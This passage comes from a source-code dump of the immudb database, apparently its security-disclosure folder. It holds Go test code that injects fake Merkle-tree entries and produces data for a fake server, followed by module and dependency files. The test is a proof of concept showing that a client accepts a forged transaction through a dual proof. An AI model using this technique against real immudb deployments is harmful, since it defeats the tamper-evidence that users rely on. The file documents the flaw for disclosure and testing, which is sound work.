immuStore.aht.Size())\n\t\tfor _, alh := range alhValuesToInject {\n\t\t\t_, _, err := immuStore.aht.Append(alh[:])\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t})\n\n\tt.Run(\"add normal TX after fake AHT data insertion\", func(t *testing.T) {\n\t\ttx, err := immuStore.NewWriteOnlyTx()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set(toKV(\"key-after-0\"), nil, toKV(\"value-after-0\"))\n\t\trequire.NoError(t, err)\n\n\t\thdr, err := tx.Commit()\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 4, hdr.ID)\n\t\trequire.EqualValues(t, 3, hdr.BlTxID)\n\n\t\t// Wait for the async goroutine to consume the new aht entry\n\t\tfor immuStore.aht.Size() < 4 {\n\t\t\ttime.Sleep(time.Millisecond)\n\t\t}\n\n\t\ttx, err = immuStore.NewWriteOnlyTx()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set(toKV(\"key-after-1\"), nil, toKV(\"value-after-1\"))\n\t\trequire.NoError(t, err)\n\n\t\thdr, err = tx.Commit()\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, 5, hdr.ID)\n\t\trequire.EqualValues(t, 4, hdr.BlTxID)\n\t})\n\n\tt.Run(\"dump test data for fake server\", func(t *testing.T) {\n\n\t\ttoBArray := func(a []byte, indent int) string {\n\t\t\tret := &strings.Builder{}\n\t\t\tret.WriteString(\"[]byte{\")\n\t\t\tfor i, b := range a {\n\t\t\t\tif i%16 == 0 {\n\t\t\t\t\tret.WriteString(\"\\n\")\n\t\t\t\t\tret.WriteString(strings.Repeat(\"\\t\", indent+1))\n\t\t\t\t} else {\n\t\t\t\t\tret.WriteString(\" \")\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(ret, \"0x%02X,\", b)\n\t\t\t}\n\t\t\tif len(a) > 0 {\n\t\t\t\tret.WriteString(\"\\n\")\n\t\t\t\tret.WriteString(strings.Repeat(\"\\t\", indent))\n\t\t\t}\n\t\t\tret.WriteString(\"}\")\n\t\t\treturn ret.String()\n\t\t}\n\n\t\tdumpHdr := func(hdr *TxHeader, indent int) string {\n\t\t\ti := strings.Repeat(\"\\t\", indent)\n\t\t\treturn fmt.Sprintf(\"\"+\n\t\t\t\t\"&schema.TxHeader{\\n\"+\n\t\t\t\t\"%s\\tId: %d,\\n\"+\n\t\t\t\t\"%s\\tPrevAlh: %s,\\n\"+\n\t\t\t\t\"%s\\tTs:       %d,\\n\"+\n\t\t\t\t\"%s\\tVersion:  %d,\\n\"+\n\t\t\t\t\"%s\\tNentries: %d,\\n\"+\n\t\t\t\t\"%s\\tEH: %s,\\n\"+\n\t\t\t\t\"%s\\tBlTxId: %d,\\n\"+\n\t\t\t\t\"%s\\tBlRoot: %s,\\n\"+\n\t\t\t\t\"%s}\",\n\t\t\t\ti, hdr.ID,\n\t\t\t\ti, toBArray(hdr.PrevAlh[:], 4),\n\t\t\t\ti, hdr.Ts,\n\t\t\t\ti, hdr.Version,\n\t\t\t\ti, hdr.NEntries,\n\t\t\t\ti, toBArray(hdr.Eh[:], 4),\n\t\t\t\ti, hdr.BlTxID,\n\t\t\t\ti, toBArray(hdr.BlRoot[:], 4),\n\t\t\t\ti,\n\t\t\t)\n\t\t}\n\n\t\tdumpEntries := func(entries []*TxEntry, indent int) string {\n\t\t\ti := strings.Repeat(\"\\t\", indent)\n\t\t\tret := &strings.Builder{}\n\t\t\tret.WriteString(\"[]*schema.TxEntry{\")\n\t\t\tfor _, e := range entries {\n\t\t\t\thValue := e.HVal()\n\n\t\t\t\tfmt.Fprintf(ret, \"\\n\"+\n\t\t\t\t\t\"%s\\t{\\n\"+\n\t\t\t\t\t\"%s\\t\\tKey: %s,\\n\"+\n\t\t\t\t\t// \"%s\tMetadata: KVMetadataToProto(e.Metadata()),\n\t\t\t\t\t\"%s\\t\\tHValue: %s,\\n\"+\n\t\t\t\t\t\"%s\\t\\tVLen: %d,\\n\"+\n\t\t\t\t\t\"%s\\t},\\n\",\n\t\t\t\t\ti,\n\t\t\t\t\ti, toBArray(e.Key(), indent+2),\n\t\t\t\t\ti, toBArray(hValue[:], indent+2),\n\t\t\t\t\ti, e.vLen,\n\t\t\t\t\ti,\n\t\t\t\t)\n\t\t\t}\n\t\t\tif len(entries) > 0 {\n\t\t\t\tret.WriteString(i)\n\t\t\t}\n\t\t\tret.WriteString(\"}\")\n\t\t\treturn ret.String()\n\t\t}\n\n\t\tdumpDigests := func(digests [][sha256.Size]byte, indent int) string {\n\t\t\tret := strings.Builder{}\n\n\t\t\tret.WriteString(\"[][]byte{\")\n\n\t\t\tfor _, d := range digests {\n\t\t\t\tret.WriteString(\"\\n\")\n\t\t\t\tret.WriteString(strings.Repeat(\"\\t\", indent+2))\n\t\t\t\tret.WriteString(toBArray(d[:], indent+2)[6:])\n\t\t\t\tret.WriteString(\",\\n\")\n\t\t\t}\n\n\t\t\tif len(digests) > 0 {\n\t\t\t\tret.WriteString(strings.Repeat(\"\\t\", indent))\n\t\t\t}\n\t\t\tret.WriteString(\"}\")\n\n\t\t\treturn ret.String()\n\t\t}\n\n\t\tdumpVerifiableTx := func(tx *Tx, dualProof *DualProof, indent int) string {\n\t\t\ti := strings.Repeat(\"\\t\", indent)\n\t\t\treturn fmt.Sprintf(\"&schema.VerifiableTx{\\n\"+\n\t\t\t\t\"%s\tTx:\t&schema.Tx{\\n\"+\n\t\t\t\t\"%s\t\tHeader: %s,\\n\"+\n\t\t\t\t\"%s\t\tEntries: %s,\\n\"+\n\t\t\t\t\"%s\t},\\n\"+\n\t\t\t\t\"%s\tDualProof: &schema.DualProof{\\n\"+\n\t\t\t\t\"%s\t\tSourceTxHeader: %s,\\n\"+\n\t\t\t\t\"%s\t\tTargetTxHeader: %s,\\n\"+\n\t\t\t\t\"%s\t\tInclusionProof: %s,\\n\"+\n\t\t\t\t\"%s\t\tConsistencyProof: %s,\\n\"+\n\t\t\t\t\"%s\t\tTargetBlTxAlh: %s,\\n\"+\n\t\t\t\t\"%s\t\tLastInclusionProof: %s,\\n\"+\n\t\t\t\t\"%s\t\tLinearProof: &schema.LinearProof{\\n\"+\n\t\t\t\t\"%s\t\t\tSourceTxId: %d,\\n\"+\n\t\t\t\t\"%s\t\t\tTargetTxId: %d,\\n\"+\n\t\t\t\t\"%s\t\t\tTerms: %s,\\n\"+\n\t\t\t\t\"%s\t\t},\\n\"+\n\t\t\t\t\"%s\t},\\n\"+\n\t\t\t\t\"%s}\"+\n\t\t\t\t\"\",\n\t\t\t\ti,\n\t\t\t\ti, dumpHdr(tx.Header(), indent+2),\n\t\t\t\ti, dumpEntries(tx.Entries(), indent+2),\n\t\t\t\ti,\n\t\t\t\ti,\n\t\t\t\ti, dumpHdr(dualProof.SourceTxHeader, indent+2),\n\t\t\t\ti, dumpHdr(dualProof.TargetTxHeader, indent+2),\n\t\t\t\ti, dumpDigests(dualProof.InclusionProof, indent+3),\n\t\t\t\ti, dumpDigests(dualProof.ConsistencyProof, indent+3),\n\t\t\t\ti, toBArray(dualProof.TargetBlTxAlh[:], indent+3),\n\t\t\t\ti, dumpDigests(dualProof.LastInclusionProof, indent+3),\n\t\t\t\ti,\n\t\t\t\ti, dualProof.LinearProof.SourceTxID,\n\t\t\t\ti, dualProof.LinearProof.TargetTxID,\n\t\t\t\ti, dumpDigests(dualProof.LinearProof.Terms, indent+3),\n\t\t\t\ti,\n\t\t\t\ti,\n\t\t\t\ti,\n\t\t\t)\n\t\t}\n\n\t\ttx2 := tempTxHolder(t, immuStore)\n\t\terr := immuStore.ReadTx(2, tx2)\n\t\trequire.NoError(t, err)\n\n\t\ttx2Hdr := tx2.Header()\n\t\ttx2Alh := tx2Hdr.Alh()\n\n\t\tdualProof2_2, err := immuStore.DualProof(tx2Hdr, tx2Hdr)\n\t\trequire.NoError(t, err)\n\n\t\ttx3 := tempTxHolder(t, immuStore)\n\t\terr = immuStore.ReadTx(3, tx3)\n\t\trequire.NoError(t, err)\n\n\t\ttx3Hdr := tx3.Header()\n\n\t\tdualProof3_2, err := immuStore.DualProof(tx2Hdr, tx3Hdr)\n\t\trequire.NoError(t, err)\n\n\t\ttx5 := tempTxHolder(t, immuStore)\n\t\terr = immuStore.ReadTx(5, tx5)\n\t\trequire.NoError(t, err)\n\n\t\ttx5Hdr := tx5.Header()\n\n\t\tdualProof5_3, err := immuStore.DualProof(tx3Hdr, tx5Hdr)\n\t\trequire.NoError(t, err)\n\n\t\ttx2Fake := tempTxHolder(t, immuStoreRep)\n\t\terr = immuStoreRep.ReadTx(2, tx2Fake)\n\t\trequire.NoError(t, err)\n\n\t\tdualProof5_2_fake, err := immuStore.DualProof(tx2Fake.Header(), tx5Hdr)\n\t\trequire.NoError(t, err)\n\n\t\tos.WriteFile(\"../../tools/testing/immufaker/state_values.go\", []byte(fmt.Sprintf(\"\"+\n\t\t\t\"package main\\n\"+\n\t\t\t\"\\n\"+\n\t\t\t\"import (\\n\"+\n\t\t\t\"\t\\\"github.com/codenotary/immudb/pkg/api/schema\\\"\\n\"+\n\t\t\t\")\\n\"+\n\t\t\t\"\\n\"+\n\t\t\t\"var (\\n\"+\n\t\t\t\"\tstateQueryResult = &schema.ImmutableState{\\n\"+\n\t\t\t\"\t\tDb:   \\\"defaultdb\\\",\\n\"+\n\t\t\t\"\t\tTxId: 2,\\n\"+\n\t\t\t\"\t\tTxHash: %s,\\n\"+\n\t\t\t\"\t}\\n\"+\n\t\t\t\"\\n\"+\n\t\t\t\"\tverifiableTxById_2_2 = %s\\n\"+\n\t\t\t\"\\n\"+\n\t\t\t\"\tverifiableTxById_3_2 = %s\\n\"+\n\t\t\t\"\\n\"+\n\t\t\t\"\tverifiableTxById_5_3 = %s\\n\"+\n\t\t\t\"\\n\"+\n\t\t\t\"\tverifiableTxById_5_2_fake = %s\\n\"+\n\t\t\t\")\\n\",\n\t\t\ttoBArray(tx2Alh[:], 2),\n\t\t\tdumpVerifiableTx(tx2, dualProof2_2, 1),\n\t\t\tdumpVerifiableTx(tx3, dualProof3_2, 1),\n\t\t\tdumpVerifiableTx(tx5, dualProof5_3, 1),\n\t\t\tdumpVerifiableTx(tx2Fake, dualProof5_2_fake, 1),\n\t\t)), 0666)\n\t})\n\n\t// Currently there are following transactions in the database:\n\t//  1 - valid normal TX, {\"key\": \"value\"}\n\t//  2 - diverged TX, in linear linking: {\"valid-key-0\": \"valid-value-0\"}, in merkle tree hash for: {\"fake-key\": \"fake-value\"}\n\t//  3 - normal TX using linear linking back to Tx 1: {\"valid-key-1\": \"valid-value-1\"}\n\t//  4 - normal TX, {\"key-after-0\": \"value-after-0\"}\n\t//  5 - normal TX, {\"key-after-1\": \"value-after-1\"}\n\t//\n\t// Up to Tx 3, values are proven by doing linear linking back to Tx 1, the Merkle Tree at that point is empty.\n\t//\n\t// Sequence of actions to run the PoC (as seen by the client):\n\t//  1. Verified read Tx 2 (no previous state, new stored state for Tx 2)\n\t//  2. Verified read Tx 3 (previously stored state for Tx 2, new stored state for Tx 3)\n\t//  3. Verified read Tx 5 (previously stored state for Tx 3, new stored state for Tx 5)\n\t//  4. Verified read fake Tx 2 (stored state Tx 5, no update, read succeeds with different Tx data)\n\n\tt.Run(\"fake entries by injecting invalid Merkle Tree entries proof PoC\", func(t *testing.T) {\n\n\t\t// read tx 2 and ensure it's valid-key-1\n\t\ttx2 := tempTxHolder(t, immuStore)\n\t\terr := immuStore.ReadTx(2, tx2)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, tx2.Entries(), 1)\n\t\trequire.Equal(t, toKV(\"valid-key-0\"), tx2.Entries()[0].key())\n\t\ttx2Hdr := tx2.Header()\n\n\t\t// perform dual proof between Tx 2 and Tx 3\n\t\ttx3Hdr, err := immuStore.ReadTxHeader(3, false)\n\t\trequire.NoError(t, err)\n\n\t\tdualProof, err := immuStore.DualProof(tx2Hdr, tx3Hdr)\n\t\trequire.NoError(t, err)\n\n\t\tverifies := VerifyDualProof(dualProof, tx2Hdr.ID, tx3Hdr.ID, tx2Hdr.Alh(), tx3Hdr.Alh())\n\t\trequire.True(t, verifies)\n\n\t\t// further perform dual proof to get to Tx 5\n\t\ttx5Hdr, err := immuStore.ReadTxHeader(5, false)\n\t\trequire.NoError(t, err)\n\n\t\tdualProof, err = immuStore.DualProof(tx3Hdr, tx5Hdr)\n\t\trequire.NoError(t, err)\n\n\t\tverifies = VerifyDualProof(dualProof, tx3Hdr.ID, tx5Hdr.ID, tx3Hdr.Alh(), tx5Hdr.Alh())\n\t\trequire.True(t, verifies)\n\n\t\t// Read fake Tx from replica DB that has diverged\n\t\tfakeTx2 := tempTxHolder(t, immuStoreRep)\n\t\terr = immuStoreRep.ReadTx(2, fakeTx2)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, fakeTx2.Entries(), 1)\n\t\trequire.Equal(t, toKV(\"fake-key\"), fakeTx2.Entries()[0].key())\n\t\tfakeTx2Hdr := fakeTx2.Header()\n\n\t\t// Perform consistency proof between fake Tx2 and the genuine Tx5\n\t\tdualProof, err = immuStore.DualProof(fakeTx2Hdr, tx5Hdr)\n\t\trequire.NoError(t, err)\n\n\t\t// We should never be able to perform this proof by the client !!!\n\t\tverifies = VerifyDualProof(dualProof, fakeTx2Hdr.ID, tx5Hdr.ID, fakeTx2Hdr.Alh(), tx5Hdr.Alh())\n\t\trequire.True(t, verifies)\n\n\t})\n\n}\n\nfunc TestGenerateDataWithLongLinearProof(t *testing.T) {\n\tconst (\n\t\tinitialNormalTxCount = 10\n\t\tlinearTxCount        = 10\n\t\tfinalNormalTxCount   = 10\n\t)\n\n\topts := DefaultOptions().WithSynced(false).WithMaxLinearProofLen(100).WithMaxConcurrency(1)\n\tdir := t.TempDir()\n\timmuStore, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\tif immuStore != nil {\n\t\t\timmustoreClose(t, immuStore)\n\t\t}\n\t}()\n\n\tt.Run(\"Prepare initial normal transactions\", func(t *testing.T) {\n\t\tfor i := 0; i < initialNormalTxCount; i++ {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx()\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = tx.Set([]byte(fmt.Sprintf(\"step1:key:%d\", i)), nil, []byte(fmt.Sprintf(\"value:%d\", i)))\n\t\t\trequire.NoError(t, err)\n\n\t\t\ttxhdr, err := tx.AsyncCommit()\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, i+1, txhdr.ID)\n\t\t\trequire.EqualValues(t, i, txhdr.BlTxID)\n\n\t\t\timmuStore.ahtWHub.WaitFor(txhdr.ID, nil)\n\t\t}\n\t})\n\n\tt.Run(\"Add transactions with long linear proof\", func(t *testing.T) {\n\t\t// Disable binary linking and restore before we finish this step\n\t\timmuStore.blDone <- struct{}{}\n\t\tdefer func() {\n\t\t\tgo immuStore.binaryLinking()\n\t\t\timmuStore.ahtWHub.WaitFor(initialNormalTxCount+linearTxCount, nil)\n\t\t}()\n\n\t\tfor i := 0; i < linearTxCount; i++ {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx()\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = tx.Set([]byte(fmt.Sprintf(\"step2:key:%d\", i)), nil, []byte(fmt.Sprintf(\"value:%d\", i)))\n\t\t\trequire.NoError(t, err)\n\n\t\t\ttxhdr, err := tx.AsyncCommit()\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, i+1+initialNormalTxCount, txhdr.ID)\n\t\t\trequire.EqualValues(t, initialNormalTxCount, txhdr.BlTxID)\n\t\t}\n\t})\n\n\tt.Run(\"Add normal transactions at the end\", func(t *testing.T) {\n\t\tfor i := 0; i < finalNormalTxCount; i++ {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx()\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = tx.Set([]byte(fmt.Sprintf(\"step3:key:%d\", i)), nil, []byte(fmt.Sprintf(\"value:%d\", i)))\n\t\t\trequire.NoError(t, err)\n\n\t\t\ttxhdr, err := tx.AsyncCommit()\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, i+1+initialNormalTxCount+linearTxCount, txhdr.ID)\n\t\t\trequire.EqualValues(t, i+initialNormalTxCount+linearTxCount, txhdr.BlTxID)\n\n\t\t\timmuStore.ahtWHub.WaitFor(txhdr.ID, nil)\n\t\t}\n\t})\n\n\tt.Run(\"copy database files to test folder\", func(t *testing.T) {\n\t\terr := immuStore.Sync()\n\t\trequire.NoError(t, err)\n\n\t\terr = immuStore.Close()\n\t\trequire.NoError(t, err)\n\t\timmuStore = nil\n\n\t\tdestPath := \"../../test/data_long_linear_proof\"\n\t\tcopier := fs.NewStandardCopier()\n\n\t\terr = os.RemoveAll(destPath)\n\t\trequire.NoError(t, err)\n\n\t\terr = copier.CopyDir(dir, destPath)\n\t\trequire.NoError(t, err)\n\t})\n}\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/server/go.mod",
    "content": "module linear-fake\n\ngo 1.24.0\n\nrequire github.com/codenotary/immudb v1.4.1\n\nrequire (\n\tgithub.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 // indirect\n\tgithub.com/rakyll/statik v0.1.7 // indirect\n)\n\nrequire (\n\tgithub.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect\n\tgithub.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect\n\tgithub.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect\n\tgithub.com/beorn7/perks v1.0.1 // indirect\n\tgithub.com/cespare/xxhash/v2 v2.2.0 // indirect\n\tgithub.com/davecgh/go-spew v1.1.1 // indirect\n\tgithub.com/fsnotify/fsnotify v1.5.4 // indirect\n\tgithub.com/golang/protobuf v1.5.2 // indirect\n\tgithub.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect\n\tgithub.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect\n\tgithub.com/hashicorp/hcl v1.0.0 // indirect\n\tgithub.com/inconshreveable/mousetrap v1.0.0 // indirect\n\tgithub.com/magiconair/properties v1.8.6 // indirect\n\tgithub.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect\n\tgithub.com/mitchellh/mapstructure v1.5.0 // indirect\n\tgithub.com/o1egl/paseto v1.0.0 // indirect\n\tgithub.com/pelletier/go-toml v1.9.5 // indirect\n\tgithub.com/pelletier/go-toml/v2 v2.0.1 // indirect\n\tgithub.com/pkg/errors v0.9.1 // indirect\n\tgithub.com/pmezard/go-difflib v1.0.0 // indirect\n\tgithub.com/prometheus/client_golang v1.12.2 // indirect\n\tgithub.com/prometheus/client_model v0.2.0 // indirect\n\tgithub.com/prometheus/common v0.32.1 // indirect\n\tgithub.com/prometheus/procfs v0.7.3 // indirect\n\tgithub.com/rogpeppe/go-internal v1.8.0 // indirect\n\tgithub.com/rs/xid v1.3.0 // indirect\n\tgithub.com/spf13/afero v1.8.2 // indirect\n\tgithub.com/spf13/cast v1.5.0 // indirect\n\tgithub.com/spf13/cobra v1.2.1 // indirect\n\tgithub.com/spf13/jwalterweatherman v1.1.0 // indirect\n\tgithub.com/spf13/pflag v1.0.5 // indirect\n\tgithub.com/spf13/viper v1.12.0 // indirect\n\tgithub.com/stretchr/testify v1.8.0\n\tgithub.com/subosito/gotenv v1.3.0 // indirect\n\tgolang.org/x/crypto v0.48.0 // indirect\n\tgolang.org/x/net v0.50.0 // indirect\n\tgolang.org/x/sys v0.41.0 // indirect\n\tgolang.org/x/term v0.40.0 // indirect\n\tgolang.org/x/text v0.34.0 // indirect\n\tgoogle.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect\n\tgoogle.golang.org/grpc v1.58.3 // indirect\n\tgoogle.golang.org/protobuf v1.36.6 // indirect\n\tgopkg.in/ini.v1 v1.66.6 // indirect\n\tgopkg.in/yaml.v2 v2.4.0 // indirect\n\tgopkg.in/yaml.v3 v3.0.1 // indirect\n)\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/server/go.sum",
    "content": "cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=\ncloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=\ncloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=\ncloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=\ncloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=\ncloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=\ncloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=\ncloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=\ncloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=\ncloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=\ncloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=\ncloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=\ncloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=\ncloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=\ncloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI=\ncloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk=\ncloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY=\ncloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg=\ncloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8=\ncloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0=\ncloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY=\ncloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM=\ncloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY=\ncloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ=\ncloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI=\ncloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4=\ncloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc=\ncloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA=\ncloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A=\ncloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=\ncloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=\ncloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=\ncloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=\ncloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=\ncloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=\ncloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow=\ncloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM=\ncloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M=\ncloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz/FMzPu0s=\ncloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU=\ncloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=\ncloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=\ncloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=\ncloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY=\ncloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=\ncloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=\ncloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=\ncloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=\ncloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=\ncloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=\ncloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=\ncloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=\ncloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=\ncloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo=\ndmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=\ngithub.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=\ngithub.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ=\ngithub.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU=\ngithub.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=\ngithub.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=\ngithub.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=\ngithub.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o=\ngithub.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o=\ngithub.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=\ngithub.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY=\ngithub.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod 